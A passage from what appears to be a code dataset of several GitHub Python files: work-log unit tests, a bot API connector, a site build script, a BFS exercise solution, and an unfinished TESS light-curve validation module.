test_get_key_name(self):\n # with unittest.mock.patch('builtins.input', return_value=\"Tatiana\"):\n # self.assertEqual(work_log.get_key_name(key=\"User\"), \"Tatiana\")\n with unittest.mock.patch('builtins.input',\n side_effect=[\"\", \"Tatiana\"]):\n self.assertEqual(work_log.get_key_name(key=\"User\"), \"Tatiana\")\n\n def test_convert_time_spent_to_min(self):\n self.assertEqual(\n work_log.convert_time_spent_to_min(('0.1', 'w')),\n 1008\n )\n self.assertEqual(\n work_log.convert_time_spent_to_min(('0.5', 'd')),\n 720\n )\n self.assertEqual(\n work_log.convert_time_spent_to_min(('2', 'h')),\n 120\n )\n self.assertEqual(\n work_log.convert_time_spent_to_min(('0.5', 'm')),\n 0.5\n )\n\n def test_validate_time(self):\n self.assertEqual(\n work_log.validate_time('0.5 d'),\n [('0.5', 'd')]\n )\n self.assertIsNone(work_log.validate_time('0.5 k'))\n\n def test_get_time_spent(self):\n with unittest.mock.patch('builtins.input',\n side_effect=[\"123\", \"0 d\", \"10 m\"]):\n self.assertEqual(work_log.get_time_spent(), 10)\n\n def test_get_date(self):\n with unittest.mock.patch('builtins.input',\n side_effect=[\"31.31.2016\", \"21.06.2016\"]):\n self.assertEqual(work_log.get_date(), datetime.date(2016, 6, 21))\n\n def test_get_entry_data(self):\n with unittest.mock.patch('builtins.input',\n side_effect=[\"Tatiana\", \"Project\", \"Task\",\n \"1 d\", \"22.06.2016\"]):\n with unittest.mock.patch('sys.stdin.read', return_value=\"\"):\n entry = work_log.get_entry_data()\n self.assertEqual(entry[\"name\"], \"Tatiana\")\n\n def test_save_delete_edit_entry(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n entry = work_log.Entry.create(**ENTRIES[0])\n with unittest.mock.patch('builtins.input', return_value=\"s\"):\n work_log.save_delete_edit_entry(entry)\n self.assertEqual(work_log.Entry.select().count(), 1)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"d\", \"y\", \" \"]):\n work_log.save_delete_edit_entry(entry)\n self.assertEqual(work_log.Entry.select().count(), 0)\n\n def test_edit_entry(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n entry = work_log.Entry.create(**ENTRIES[0])\n with unittest.mock.patch('builtins.input',\n side_effect=[\"u\", \"Tatiana\"]):\n work_log.edit_entry(entry=entry)\n self.assertEqual(entry.name, \"Tatiana\")\n with unittest.mock.patch('builtins.input',\n side_effect=[\"t\", \"10 m\"]):\n work_log.edit_entry(entry=entry)\n self.assertEqual(entry.time_spent, 10)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"o\"]):\n with unittest.mock.patch('sys.stdin.read',\n return_value=\"hard work\"):\n work_log.edit_entry(entry=entry)\n self.assertEqual(entry.notes, \"hard work\")\n with unittest.mock.patch('builtins.input',\n side_effect=[\"d\", \"22.06.2016\"]):\n work_log.edit_entry(entry=entry)\n self.assertEqual(entry.date, datetime.date(2016, 6, 22))\n with unittest.mock.patch('builtins.input',\n side_effect=[\"p\", \"Project\"]):\n work_log.edit_entry(entry=entry)\n self.assertEqual(entry.project, \"Project\")\n with unittest.mock.patch('builtins.input',\n side_effect=[\"n\", \"Task\"]):\n work_log.edit_entry(entry=entry)\n self.assertEqual(entry.task_name, \"Task\")\n\n\nclass SearchTests(unittest.TestCase):\n @staticmethod\n def create_entries():\n for entry in ENTRIES:\n work_log.Entry.create(\n name=entry['name'],\n project=entry['project'],\n task_name=entry['task_name'],\n time_spent=entry['time_spent'],\n notes=entry['notes'],\n date=entry['date']\n )\n\n def test_search_by_term(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n with unittest.mock.patch('builtins.input', side_effect=[\"nobel\"]):\n self.assertEqual(work_log.search_by_term().count(), 3)\n\n def test_search_by_time_spent(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n with unittest.mock.patch('builtins.input',\n side_effect=[\"10000 m\"]):\n self.assertEqual(work_log.search_by_time_spent().count(), 1)\n with unittest.mock.patch('builtins.input', side_effect=[\n \"1\", \"1 m - 1 m - 1 m\", \"1 m\"]):\n self.assertEqual(work_log.search_by_time_spent().count(), 0)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"1 m - 10000 m\"]):\n self.assertEqual(work_log.search_by_time_spent().count(), 2)\n\n def test_search_by_project(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n with unittest.mock.patch('builtins.input',\n side_effect=[\"physics\"]):\n self.assertEqual(work_log.search_by_project().count(), 2)\n\n def test_search_by_name(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n with unittest.mock.patch('builtins.input',\n side_effect=[\"Max Kruse\"]):\n self.assertEqual(work_log.search_by_name().count(), 1)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"Max\"]):\n self.assertEqual(work_log.search_by_name().count(), 2)\n\n def test_list_of_dates(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n self.assertEqual(\n len(work_log.list_of_dates(\n entries=work_log.Entry.select())), 3)\n\n def test_search_by_date(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n with unittest.mock.patch('builtins.input',\n side_effect=[\"08.12.2013\"]):\n self.assertEqual(work_log.search_by_date().count(), 2)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"01.01.1918 - 01.01.1923\"]):\n self.assertEqual(work_log.search_by_date().count(), 2)\n\n def test_find_entries(self):\n with test_database(TEST_DB, (work_log.Entry,)):\n self.create_entries()\n with unittest.mock.patch('builtins.input',\n side_effect=[\"t\", \"prize\"]):\n self.assertEqual(work_log.find_entries().count(), 3)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"s\", \"10000 m\"]):\n self.assertEqual(work_log.find_entries().count(), 1)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"p\", \"Physics\"]):\n self.assertEqual(work_log.find_entries().count(), 2)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"d\", \"08.12.2013\"]):\n self.assertEqual(work_log.find_entries().count(), 2)\n with unittest.mock.patch('builtins.input',\n side_effect=[\"e\", \"Max\"]):\n self.assertEqual(work_log.find_entries().count(), 2)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"vasilty/work_log_db","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":9607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24901417318","text":"import logging\nimport requests as r\nfrom connectors.base_connector import BaseConnector\n\n\nclass JackConnector(BaseConnector):\n \"\"\"Connect to the Jack Bot API for chat and user info.\"\"\"\n def __init__(self, cfg):\n super().__init__(cfg)\n assert 'api' in cfg, 'Please supply a url or host/port combination for the Jack API.'\n\n if 'host' in cfg['api']:\n self.api_url = f\"http://{cfg['api']['host']}:{cfg['api']['port']}\"\n else:\n self.api_url = cfg['api']['url']\n self.twitch_status_url = self.api_url + '/twitch/status'\n self.twitch_messages_url = self.api_url + '/twitch/get_messages'\n self.twitch_all_nfts_url = self.api_url + '/rally/all-nfts'\n self.twitch_all_users_url = self.api_url + '/user/all_infos'\n self.logger = logging.getLogger(__name__)\n\n self._connect()\n\n def _connect(self):\n res = r.get(self.api_url)\n self.logger.info(res.status_code)\n self.logger.info(res.json())\n\n def get_twitch_bot_status(self):\n return r.get(self.twitch_status_url).json()\n\n def set_twitch_bot_status(self, new_status):\n print(type(new_status))\n res = r.patch(self.twitch_status_url, json=new_status)\n if res.status_code == 200:\n return 'Success!'\n else:\n return res.json()\n\n def get_twitch_messages(self, seconds_history=None, channel_names=None):\n url = self.twitch_messages_url\n if any([seconds_history, channel_names]):\n url += '?'\n\n if seconds_history:\n url += 'seconds_history=' + str(seconds_history)\n\n if channel_names:\n for channel_name in channel_names:\n url += '&channel_names=' + channel_name\n return r.get(url).json()\n\n def get_all_nfts(self):\n return r.get(\n self.twitch_all_nfts_url\n ).json()\n\n def get_all_users(self):\n return r.get(\n self.twitch_all_users_url\n ).json()\n","repo_name":"nnwwbb/jack-bot","sub_path":"connectors/jack_connector.py","file_name":"jack_connector.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22885186993","text":"from os import symlink, makedirs\nfrom os.path import exists, abspath, dirname\nfrom lonnycorp.page import page\n\ndef build():\n if not exists(\"build/assets\"):\n symlink(abspath(\"assets\"), abspath(\"build/assets\"))\n build_path = \"build/index.html\"\n makedirs(dirname(build_path), exist_ok = True)\n with open(build_path, \"w\") as f:\n f.write(page())\n\nif __name__ == \"__main__\":\n build()\n","repo_name":"tlonny/lonny-corporation-website","sub_path":"lonnycorp/script/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"40498892657","text":"# 프로그래머스 고득점kit 네트워크\n# https://programmers.co.kr/learn/courses/30/lessons/43162\n\nfrom collections import deque\n\nnetwork = 1\n\n\ndef bfs(graph, start, visited):\n global network\n queue = deque([start])\n visited[start] = True\n\n while queue:\n v = queue.popleft()\n for i in range(len(graph[v])):\n if graph[v][i] == 1 and not visited[i] and v != i:\n queue.append(i)\n visited[i] = True\n\n # 그래프가 다 연결이 안된 경우\n if False in visited:\n network += 1\n bfs(graph, visited.index(False), visited)\n # 모든 정점을 다 훑은 경우\n else:\n return network\n\n\ndef solution(n, computers):\n visited = [False] * n\n bfs(computers, 0, visited)\n return network\n","repo_name":"cheonyeji/algorithm_study","sub_path":"프로그래머스/DFS_BFS/네트워크.py","file_name":"네트워크.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"329068938","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 6 17:42:49 2018\n\n@author: mikkelnl\n\"\"\"\n\nimport os\nimport numpy as np\nimport math as m\nimport logging\nfrom tqdm import tqdm\nfrom bottleneck import nanmean, nanmedian\nimport json\nimport argparse\nimport sqlite3\nimport six\nfrom lightkurve import TessLightCurve\nfrom astropy.io import fits\nfrom astropy.stats import LombScargle\n\nfrom .cbv_main import lc_matrix_calc\nfrom ..plots import plt\nfrom ..quality import CorrectorQualityFlags, TESSQualityFlags\nfrom ..manual_filters import manual_exclude\n\nimport matplotlib.pyplot as pl\n\n# =============================================================================\n# \n# =============================================================================\n\ndef psd_scargle(time, flux, Nsample = 10.):\n\t\"\"\"\n\t Calculate the power spectral density using the Lomb-Scargle (L-S) periodogram\n\t \n\t Parameters:\n\t time (numpy array, float): time stamps of the light curve\n\t flux (numpy array, float): the flux variations of the light curve\n\t Nsample (optional, float): oversampling rate for the periodogram. Default value = 10.\n\t \n\t Returns:\n\t fr (numpy array, float): evaluated frequency values in the domain of the periodogram\n\t sc (numpy array, float): the PSD values of the L-S periodogram\n\t\n\t.. codeauthor:: Timothy Van Reeth \n\t\"\"\"\n\tndata = len(time) # The number of data points\n\tfnyq = 0.5/np.median(time[1:]-time[:-1]) # the Nyquist frequency\n\tfres = 1./(time[-1]-time[0]) # the frequency resolution\n\tfr = np.arange(0.,fnyq,fres/float(Nsample)) # the frequencies\n\tsc1 = LombScargle(time, flux).power(fr, normalization='psd') # The non-normalized Lomb-Scargle \"power\"\n\t\n\t# Computing the appropriate rescaling factors (to convert to astrophysical units)\n\tfct = m.sqrt(4./ndata)\n\tT = time.ptp()\n\tsc = fct**2. * sc1 * T\n\t\n\t# Ensuring the output does not contain nans\n\tif(np.isnan(sc).any()):\n\t fr = fr[~np.isnan(sc)]\n\t sc = sc[~np.isnan(sc)]\n\t\n\treturn fr, sc\n\n\n\ndef wn(ori_lc, corrected_lc, alpha_n = 1.):\n\t\"\"\"\n\t Calculate added white noise between two light curves.\n\t Based on Eq. 8.4-8.5 in the Kepler PDC \n\t \n\t Parameters:\n\t ori_lc (light kurve object): the uncorrected TESS light curve\n\t corrected_lc (light kurve object): the corrected TESS light curve\n\t alpha_n (optional, float): scaling factor. Default value = 1.\n\t \n\t Returns:\n\t Gn (float): goodness metric for the added white noise.\n\t In the limit where ori_lc and corrected_lc are identical, Gn approaches 0.\n\t In the (improbable?) case where noise is removed instead of added, Gn = -1.\n\t \n\t\n\t.. codeauthor:: Timothy Van Reeth \n\t\"\"\"\n\t\n\t# Excluding nans from the input LCs to avoid problems\n\tori_time0 = ori_lc.time[~np.isnan(ori_lc.flux)]\n\tori_flux0 = ori_lc.flux[~np.isnan(ori_lc.flux)]\n\tcorr_time0 = corrected_lc.time[~np.isnan(corrected_lc.flux)]\n\tcorr_flux0 = corrected_lc.flux[~np.isnan(corrected_lc.flux)]\n\t\n\t# Calculating the Noise floor of both LCs, defined as the differences between adjacent flux values\n\tori_time = ori_time0[:-1]\n\tori_Nf = ori_flux0[1:] - ori_flux0[:-1]\n\t\n\tcorr_time = corr_time0[:-1]\n\tcorr_Nf = corr_flux0[1:] - corr_flux0[:-1]\n\t\n\t# Computing the PSDs of the noise floors\n\tcorr_fr,corr_psd = psd_scargle(corr_time, corr_Nf - np.mean(corr_Nf))\n\tori_fr,ori_psd = psd_scargle(ori_time, ori_Nf - np.mean(ori_Nf))\n\t\n\t# Ensuring both PSDs are evaluated for the same frequencies\n\tint_corr_psd = np.interp(ori_fr, corr_fr, corr_psd)\n\t\n\t# Integrate the log of the ratio of PSDs, ensuring the integral exists\n\tif(np.r_[int_corr_psd < ori_psd].all()):\n\t Gn = -1.\n\telse:\n\t integrand = np.log10(int_corr_psd/ori_psd)\n\t integrand[np.r_[int_corr_psd < ori_psd]] = 0.\n\t Gn = alpha_n * np.trapz(integrand, x=ori_fr)\n\t\n\treturn Gn\n\n\n\n\n\nclass LCValidation(object):\n\n\n\tdef __init__(self, input_folders, output_folder=None, validate=True, method='all', colorbysector=False, ext='png', showplots=False):\n\n\t\t# Store inputs:\n\t\tself.input_folders = input_folders\n\t\tself.method = method\n\t\tself.extension = ext\n\t\tself.show = showplots\n\t\tself.outfolders = output_folder\n\t\tself.doval = validate\n\t\tself.color_by_sector = colorbysector\n\n\t\t#load sqlite to-do files\n\t\tif len(self.input_folders)==1:\n\t\t\tif self.outfolders is None:\n\t\t\t\tpath = os.path.join(self.input_folders[0], 'data_validation')\n\t\t\t\tself.outfolders = path\n\t\t\t\tif not os.path.exists(self.outfolders):\n\t\t\t\t\tos.makedirs(self.outfolders)\n\n\t\tfor i, f in enumerate(self.input_folders):\n\t\t\ttodo_file = os.path.join(f, 'todo.sqlite')\n\t\t\tlogger.debug(\"TODO file: %s\", todo_file)\n\t\t\tif not os.path.exists(todo_file):\n\t\t\t\traise ValueError(\"TODO file not found\")\n\n\t\t\t# Open the SQLite file:\n\t\t\tself.conn = sqlite3.connect(todo_file)\n\t\t\tself.conn.row_factory = sqlite3.Row\n\t\t\tself.cursor = self.conn.cursor()\n\n\t\t\tif self.method == 'all':\n\t\t\t\t# Create table for diagnostics:\n\t\t\t\tif self.doval:\n\t\t\t\t\tself.cursor.execute('DROP TABLE IF EXISTS datavalidation_raw')\n\t\t\t\tself.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS datavalidation_raw (\n\t\t\t\t\tpriority INT PRIMARY KEY NOT NULL,\n\t\t\t\t\tdataval INT NOT NULL,\n\t\t\t\t\tapproved BOOLEAN NOT NULL,\n\t\t\t\t\tFOREIGN KEY (priority) REFERENCES todolist(priority) ON DELETE CASCADE ON UPDATE CASCADE\n\t\t\t\t);\"\"\")\n\n\t\t\t\tself.conn.commit()\n\n\tdef close(self):\n\t\t\"\"\"Close DataValidation object and all associated objects.\"\"\"\n\t\tself.cursor.close()\n\t\tself.conn.close()\n\n\tdef __exit__(self, *args):\n\t\tself.close()\n\n\tdef __enter__(self):\n\t\treturn self\n\t\n\t\n\tdef load_lightcurve(self, task, ver='RAW'):\n\t\t\"\"\"\n\t\tLoad lightcurve from task ID or full task dictionary.\n\n\t\tParameters:\n\t\t\ttask (integer or dict):\n\n\t\tReturns:\n\t\t\t``lightkurve.TessLightCurve``: Lightcurve for the star in question.\n\n\t\tRaises:\n\t\t\tValueError: On invalid file format.\n\n\t\t.. codeauthor:: Rasmus Handberg \n\t\t\"\"\"\n\n\t\tlogger = logging.getLogger(__name__)\n\n\t\t# Find the relevant information in the TODO-list:\n\t\tif not isinstance(task, dict) or task.get(\"lightcurve\") is None:\n\t\t\tself.cursor.execute(\"SELECT * FROM todolist INNER JOIN diagnostics ON todolist.priority=diagnostics.priority WHERE todolist.priority=? LIMIT 1;\", (task, ))\n\t\t\ttask = self.cursor.fetchone()\n\t\t\tif task is None:\n\t\t\t\traise ValueError(\"Priority could not be found in the TODO list\")\n\t\t\ttask = dict(task)\n\n\t\t# Get the path of the FITS file:\n\t\tfname = os.path.join(self.input_folder, task.get('lightcurve'))\n\t\tlogger.debug('Loading lightcurve: %s', fname)\n\n\t\tif fname.endswith('.fits') or fname.endswith('.fits.gz'):\n\t\t\twith fits.open(fname, mode='readonly', memmap=True) as hdu:\n\t\t\t\t# Quality flags from the pixels:\n\t\t\t\tpixel_quality = np.asarray(hdu['LIGHTCURVE'].data['PIXEL_QUALITY'], dtype='int32')\n\n\t\t\t\t# Create the QUALITY column and fill it with flags of bad data points:\n\t\t\t\tquality = np.zeros_like(hdu['LIGHTCURVE'].data['TIME'], dtype='int32')\n\t\t\t\t\n\t\t\t\tif ver=='RAW':\n\t\t\t\t\tLC = hdu['LIGHTCURVE'].data['FLUX_RAW']\n\t\t\t\t\tLC_ERR = hdu['LIGHTCURVE'].data['FLUX_RAW_ERR'],\n\t\t\t\telif ver=='CORR':\n\t\t\t\t\tLC = hdu['LIGHTCURVE'].data['FLUX_CORR']\n\t\t\t\t\tLC_ERR = hdu['LIGHTCURVE'].data['FLUX_CORR_ERR'],\n\t\t\t\t\t\n\t\t\t\tbad_data = ~np.isfinite(LC)\n\n\t\t\t\tbad_data |= (pixel_quality & TESSQualityFlags.DEFAULT_BITMASK != 0)\n\t\t\t\tquality[bad_data] |= CorrectorQualityFlags.FlaggedBadData\n\n\t\t\t\t# Create lightkurve object:\n\t\t\t\tlc = TessLightCurve(\n\t\t\t\t\ttime=hdu['LIGHTCURVE'].data['TIME'],\n\t\t\t\t\tflux=LC, \n\t\t\t\t\tflux_err=LC_ERR,\n\t\t\t\t\tcentroid_col=hdu['LIGHTCURVE'].data['MOM_CENTR1'],\n\t\t\t\t\tcentroid_row=hdu['LIGHTCURVE'].data['MOM_CENTR2'],\n\t\t\t\t\tquality=quality,\n\t\t\t\t\tcadenceno=np.asarray(hdu['LIGHTCURVE'].data['CADENCENO'], dtype='int32'),\n\t\t\t\t\ttime_format='btjd',\n\t\t\t\t\ttime_scale='tdb',\n\t\t\t\t\ttargetid=hdu[0].header.get('TICID'),\n\t\t\t\t\tlabel=hdu[0].header.get('OBJECT'),\n\t\t\t\t\tcamera=hdu[0].header.get('CAMERA'),\n\t\t\t\t\tccd=hdu[0].header.get('CCD'),\n\t\t\t\t\tsector=hdu[0].header.get('SECTOR'),\n\t\t\t\t\tra=hdu[0].header.get('RA_OBJ'),\n\t\t\t\t\tdec=hdu[0].header.get('DEC_OBJ'),\n\t\t\t\t\tquality_bitmask=CorrectorQualityFlags.DEFAULT_BITMASK,\n\t\t\t\t\tmeta={}\n\t\t\t\t)\n\n\t\t\t\t# Apply manual exclude flag:\n\t\t\t\tmanexcl = manual_exclude(lc)\n\t\t\t\tlc.quality[manexcl] |= CorrectorQualityFlags.ManualExclude\n\n\t\telse:\n\t\t\traise ValueError(\"Invalid file format\")\n\n\t\t# Add additional attributes to lightcurve object:\n\t\tlc.pixel_quality = pixel_quality\n\n\t\t# Keep the original task in the metadata:\n\t\tlc.meta['task'] = task\n\t\tlc.meta['additional_headers'] = fits.Header()\n\n\t\tif logger.isEnabledFor(logging.DEBUG):\n\t\t\tlc.show_properties()\n\n\t\treturn lc\n\n\n\tdef search_database(self, select=None, search=None, order_by=None, limit=None, distinct=False):\n\t\t\"\"\"\n\t\tSearch list of lightcurves and return a list of tasks/stars matching the given criteria.\n\n\t\tParameters:\n\t\t\tsearch (list of strings or None): Conditions to apply to the selection of stars from the database\n\t\t\torder_by (list, string or None): Column to order the database output by.\n\t\t\tlimit (int or None): Maximum number of rows to retrieve from the database. If limit is None, all the rows are retrieved.\n\t\t\tdistinct (boolean): Boolean indicating if the query should return unique elements only.\n\n\t\tReturns:\n\t\t\tlist of dicts: Returns all stars retrieved by the call to the database as dicts/tasks that can be consumed directly by load_lightcurve\n\n\t\t.. codeauthor:: Rasmus Handberg \n\t\t\"\"\"\n\n\t\tlogger = logging.getLogger(__name__)\n\n\t\tif select is None:\n\t\t\tselect = '*'\n\t\telif isinstance(select, (list, tuple)):\n\t\t\tselect = \",\".join(select)\n\n\t\tif search is None:\n\t\t\tsearch = ''\n\t\telif isinstance(search, (list, tuple)):\n\t\t\tsearch = \"WHERE \" + \" AND \".join(search)\n\t\telse:\n\t\t\tsearch = 'WHERE ' + search\n\n\t\tif order_by is None:\n\t\t\torder_by = ''\n\t\telif isinstance(order_by, (list, tuple)):\n\t\t\torder_by = \" ORDER BY \" + \",\".join(order_by)\n\t\telif isinstance(order_by, six.string_types):\n\t\t\torder_by = \" ORDER BY \" + order_by\n\n\t\tlimit = '' if limit is None else \" LIMIT %d\" % limit\n\n\t\tquery = \"SELECT {distinct:s}{select:s} FROM todolist INNER JOIN diagnostics ON todolist.priority=diagnostics.priority LEFT JOIN datavalidation_raw ON todolist.priority=datavalidation_raw.priority {search:s}{order_by:s}{limit:s};\".format(\n\t\t\tdistinct='DISTINCT ' if distinct else '',\n\t\t\tselect=select,\n\t\t\tsearch=search,\n\t\t\torder_by=order_by,\n\t\t\tlimit=limit\n\t\t)\n\t\tlogger.debug(\"Running query: %s\", query)\n\n\t\t# Ask the database: status=1\n\t\tself.cursor.execute(query)\n\t\treturn [dict(row) for row in self.cursor.fetchall()]\n\t\n\t\n\t\n\t\n\t\n\tdef Validations(self):\n\n\t\tif self.method == 'all':\n\t\t\tself.correlation()\n\t\t\tself.added_noise()\n\t\t\t\n\n#\t\t\tdv = np.array(list(val.values()), dtype=\"int32\")\n#\t\t\t\t\t\t\n#\t\t\t#Reject: Small/High apertures; Contamination>1;\n#\t\t\tapp = np.ones_like(dv, dtype='bool')\n#\t\t\tqf = DatavalQualityFlags.filter(dv)\n#\t\t\tapp[~qf] = False\n#\n#\t\t\t[self.cursor.execute(\"INSERT INTO datavalidation_raw (priority, dataval, approved) VALUES (?,?,?);\", (int(v1), int(v2), bool(v3))) for v1,v2,v3 in\n#\t\t\t\t\tzip(np.array(list(val.keys()), dtype=\"int32\"),dv,app)]\n#\n#\t\t\tself.cursor.execute(\"INSERT INTO datavalidation_raw (priority, dataval, approved) select todolist.priority, 0, 0 FROM todolist WHERE todolist.status not in (1,3);\")\n#\t\t\tself.conn.commit()\n\n\n\t\telif self.method == 'corr':\n\t\t\tself.correlation()\n\t\telif self.method == 'addnoise':\n\t\t\tself.added_noise()\n\t\t\n\t\t\n\t\t\n\n\tdef correlations(self, cbv_area):\n\t\t\n\t\t\n\t\t\"\"\"\n\t\tFunction to compute correlation matrix after correction\n\n\t\t.. codeauthor:: Mikkel N. Lund \n\t\t\"\"\"\n\n\t\tlogger=logging.getLogger(__name__)\n\n\t\tlogger.info('------------------------------------------')\n\t\tlogger.info('Running correlation check')\n\t\t\n\t\t\n\t\ttmpfile = os.path.join(self.data_folder, 'mat-%d.npz' %cbv_area)\n\t\tif logger.isEnabledFor(logging.DEBUG) and os.path.exists(tmpfile):\n\t\t\tlogger.info(\"Loading existing file...\")\n\t\t\tdata = np.load(tmpfile)\n\t\t\tmat = data['mat']\n\t\t\tvaris = data['varis']\n\n\t\telse:\n\t\t\t# Get the list of star that we are going to load in the lightcurves for:\n\t\t\tstars = self.search_database(search=['datasource=\"ffi\"', 'cbv_area=%i' %cbv_area])\n\n\t\t\t# Number of stars returned:\n\t\t\tNstars = len(stars)\n\n\t\t\t# Load the very first timeseries only to find the number of timestamps.\n\t\t\tlc = self.load_lightcurve(stars[0])\n\t\t\tNtimes = len(lc.time)\n\n\t\t\tlogger.info(\"Matrix size: %d x %d\", Nstars, Ntimes)\n\n\t\t\t# Make the matrix that will hold all the lightcurves:\n\t\t\tlogger.info(\"Loading in lightcurves...\")\n\t\t\tmat0 = np.empty((Nstars, Ntimes), dtype='float64')\n\t\t\tmat0.fill(np.nan)\n\t\t\tvaris0 = np.empty(Nstars, dtype='float64')\n\n\t\t\t# Loop over stars\n\t\t\tfor k, star in tqdm(enumerate(stars), total=Nstars, disable=not logger.isEnabledFor(logging.INFO)):\n\n\t\t\t\t# Load lightkurve object\n\t\t\t\tlc = self.load_lightcurve(star)\n\n\t\t\t\t# Remove bad data based on quality\n\t\t\t\tflag_good = TESSQualityFlags.filter(lc.pixel_quality, TESSQualityFlags.CBV_BITMASK) & CorrectorQualityFlags.filter(lc.quality, CorrectorQualityFlags.CBV_BITMASK)\n\t\t\t\tlc.flux[~flag_good] = np.nan\n\n\t\t\t\t# Normalize the data and store it in the rows of the matrix:\n\t\t\t\tmat0[k, :] = lc.flux / nanmean(lc.flux) - 1.0\n\n\n\t\t\t# Calculate the correlation matrix between all lightcurves:\n\t\t\tcorrelations = lc_matrix_calc(Nstars, mat0)\n\n\t\t\t# Save the correlations matrix to file:\n\t\t\tfile_correlations = os.path.join(self.data_folder, 'post_correlations-%d.npy' % cbv_area)\n\t\t\tnp.save(file_correlations, correlations)\n\n\t\t\t# Find the median absolute correlation between each lightcurve and all other lightcurves:\n\t\t\t\n\n\n\t\t\texpected_mean = 1/np.sqrt(Nstars)\n\t\t\t# Goodness\n\t\t\tG = nanmedian(correlations**3, axis=0) - expected_mean\n#\t\t\tG = nanmean(correlations[k,:]**exponent) - expected_mean\n\t\t\t# Save median correlations\n\n\t\t\t\t\n\t\t\t# Save something for debugging:\n\t\t\tif logger.isEnabledFor(logging.DEBUG):\n\t\t\t\tnp.savez(tmpfile, mat=mat)\n\t\t\n\t\t\n\t\t\n\tdef added_noise(self):\n\t\t\n\t\t#call wn on loaded targets\n\t\t\n\t\tpass\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\n\n\n\n#------------------------------------------------------------------------------\nif __name__ == '__main__':\n\t\n\t\n\t# Parse command line arguments:\n\tparser = argparse.ArgumentParser(description='Run Data Validation pipeline.')\n\tparser.add_argument('-m', '--method', help='Corrector method to use.', default='all', choices=('corr', 'addnoise'))\n\tparser.add_argument('-e', '--ext', help='Extension of plots.', default='png', choices=('png', 'eps'))\n\tparser.add_argument('-s', '--show', help='Show plots.', action='store_true')\n\tparser.add_argument('-v', '--validate', help='Compute validation (only run is method is \"all\").', action='store_true')\n\tparser.add_argument('-d', '--debug', help='Print debug messages.', action='store_true')\n\tparser.add_argument('-q', '--quiet', help='Only report warnings and errors.', action='store_true')\n\tparser.add_argument('input_folders', type=str, help='Directory to create catalog files in.', nargs='?', default=None)\n\tparser.add_argument('output_folder', type=str, help='Directory in which to place output if several input folders are given.', nargs='?', default=None)\n\targs = parser.parse_args()\n\n\t# TODO: Remove this before going into production.\n\targs.show = True\n\targs.method = 'addnoise'\n\targs.validate = False\n\targs.sysnoise = 5\n#\targs.input_folders = '/media/mikkelnl/Elements/TESS/S01_tests/lightcurves-combined/'\n#\targs.input_folders = '/media/mikkelnl/Elements/TESS/S01_tests/lightcurves-combined/;/media/mikkelnl/Elements/TESS/S02_tests/'\n#\targs.output_folder = '/media/mikkelnl/Elements/TESS/S01_tests/lightcurves-combined/'\n\targs.input_folders = '/media/mikkelnl/Elements/TESS/S02_tests/'\n\n\tif args.output_folder is None and len(args.input_folders.split(';'))>1:\n\t\tparser.error(\"Please specify an output directory!\")\n\n\t# Set logging level:\n\tlogging_level = logging.INFO\n\tif args.quiet:\n\t\tlogging_level = logging.WARNING\n\telif args.debug:\n\t\tlogging_level = logging.DEBUG\n\n\t# Setup logging:\n\tformatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n\tconsole = logging.StreamHandler()\n\tconsole.setFormatter(formatter)\n\tlogger = logging.getLogger(__name__)\n\tlogger.addHandler(console)\n\tlogger.setLevel(logging_level)\n\tlogger_parent = logging.getLogger('corrections')\n\tlogger_parent.addHandler(console)\n\tlogger_parent.setLevel(logging_level)\n\n\n\tlogger.info(\"Loading input data from '%s'\", args.input_folders)\n\tlogger.info(\"Putting output data in '%s'\", args.output_folder)\n\n\tinput_folders = args.input_folders.split(';')\n\t\n\t\n#\t# Use the BaseCorrector to search the database for which CBV_AREAS to run:\n#\twith BaseCorrector(input_folder) as bc:\n#\t\t# Build list of constraints:\n#\t\tconstraints = []\n#\t\tif args.camera:\n#\t\t\tconstraints.append('camera IN (%s)' % \",\".join([str(c) for c in args.camera]))\n#\t\tif args.ccd:\n#\t\t\tconstraints.append('ccd IN (%s)' % \",\".join([str(c) for c in args.ccd]))\n#\t\tif args.area:\n#\t\t\tconstraints.append('cbv_area IN (%s)' % \",\".join([str(c) for c in args.area]))\n#\t\tif not constraints:\n#\t\t\tconstraints = None\n#\n#\t\t# Search for valid areas:\n#\t\tcbv_areas = [row['cbv_area'] for row in bc.search_database(select='cbv_area', distinct=True, search=constraints)]\n#\t\tlogger.debug(\"CBV areas: %s\", cbv_areas)\n#\n#\t# Number of threads to run in parallel:\n#\tthreads = int(os.environ.get('SLURM_CPUS_PER_TASK', multiprocessing.cpu_count()))\n#\tthreads = min(threads, len(cbv_areas))\n#\tlogger.info(\"Using %d processes.\", threads)\n#\n#\t# Create wrapper function which only takes a single cbv_area as input:\n#\tprepare_cbv_wrapper = partial(prepare_cbv, 